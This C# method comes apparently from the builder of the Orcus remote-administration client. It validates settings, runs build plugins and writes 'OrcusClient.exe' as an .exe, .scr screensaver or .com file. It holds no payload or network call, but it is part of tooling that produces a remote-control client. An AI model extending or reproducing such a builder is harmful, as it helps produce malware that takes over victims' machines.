private async void BuildClient() { BuildLogger = new BuildLogger(); var builderProperties = BuilderSettingsManager.BuilderSettings.Where(x => !x.IsFromPlugin) .Select(x => x.BuilderProperty) .ToList(); foreach (var builderPropertyViewModel in BuilderSettingsManager.BuilderSettings) { var inputValidationResult = builderPropertyViewModel.BuilderPropertyView.ValidateInput(builderProperties, builderPropertyViewModel.BuilderProperty); builderPropertyViewModel.Failed = false; switch (inputValidationResult.ValidationState) { case ValidationState.Error: builderPropertyViewModel.Failed = true; if (inputValidationResult.Message[0] == '@') { builderPropertyViewModel.FailMessage = (string) Application.Current.Resources[inputValidationResult.Message.Substring(1)]; } else { builderPropertyViewModel.FailMessage = inputValidationResult.Message; } ShowBuilderProperty?.Invoke(this, builderPropertyViewModel.BuilderProperty); return; case ValidationState.WarningYesNo: if (WindowServiceInterface.Current.ShowMessageBox(inputValidationResult.Message, (string)Application.Current.Resources["Warning"], MessageBoxButton.YesNo, MessageBoxImage.Warning, MessageBoxResult.No) == MessageBoxResult.Yes) { continue; } ShowBuilderProperty?.Invoke(this, builderPropertyViewModel.BuilderProperty); return; case ValidationState.Success: continue; } } var builderPlugins = _plugins.Where(x => x.IsBuildPlugin && x.IsSelected).Cast <BuilderPluginViewModel>().ToList(); var clientPlugins = _plugins.Where(x => !x.IsBuildPlugin && x.IsSelected).Cast <ClientPluginViewModel>().ToList(); var settingsList = builderProperties.AsReadOnly(); var builderArguments = new BuilderArguments(settingsList, $"{Application.Current.Resources["Executable"]}|*.exe|{Application.Current.Resources["Screensaver"]}|*.scr|Component Object Model|*.com"); foreach (var builderPlugin in builderPlugins) { builderArguments.CurrentBuildPlugin = builderPlugin.Plugin; builderPlugin.BuildPlugin.Prepare(builderArguments); } builderArguments.CurrentBuildPlugin = null; var builderEvents = builderArguments.BuildPluginEvents; if (builderEvents.Count > 0) { BuildLogger.Status(string.Format( (string)Application.Current.Resources["BuildStatusLoadedBuildPlugins"], builderEvents.Select(x => x.BuildPlugin).Distinct().Count(), builderEvents.Count)); } BuilderInformation builderInformation; if (builderArguments.SaveDialog == SaveDialogType.SaveFileDialog) { var sfd = new SaveFileDialog { AddExtension = true, CheckPathExists = true, Filter = builderArguments.SaveDialogFilter }; if (WindowServiceInterface.Current.ShowFileDialog(sfd) != true) { return; } builderInformation = new BuilderInformation(sfd.FileName, BuildLogger); } else { var fbd = new VistaFolderBrowserDialog { ShowNewFolderButton = true }; if (WindowServiceInterface.Current.ShowDialog(fbd.ShowDialog) != true) { return; } builderInformation = new BuilderInformation( FileExtensions.MakeUnique(Path.Combine(fbd.SelectedPath, "OrcusClient.exe")), BuildLogger); } ShowBuildTab?.Invoke(this, EventArgs.Empty); IsBuilding = true; var builder = new Builder(); var sw = Stopwatch.StartNew(); try { await Task.Run( () => builder.Build(builderInformation, builderProperties, builderEvents, clientPlugins.Select(x => x.ClientPlugin).ToList(), BuildLogger)); } catch (PluginException ex) { BuildLogger.Error(ex.LogMessage); BuildLogger.Error(string.Format((string)Application.Current.Resources["BuildStatusFailed"], sw.Elapsed.ToString("mm\\:ss\\.fff"))); return; } catch (Exception ex) { BuildLogger.Error(ex.ToString()); BuildLogger.Error(string.Format((string)Application.Current.Resources["BuildStatusFailed"], sw.Elapsed.ToString("mm\\:ss\\.fff"))); return; } finally { IsBuilding = false; } BuildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusSucceeded"], sw.Elapsed.ToString("mm\\:ss\\.fff"))); Process.Start("explorer.exe", $"/select, \"{builderInformation.AssemblyPath}\""); }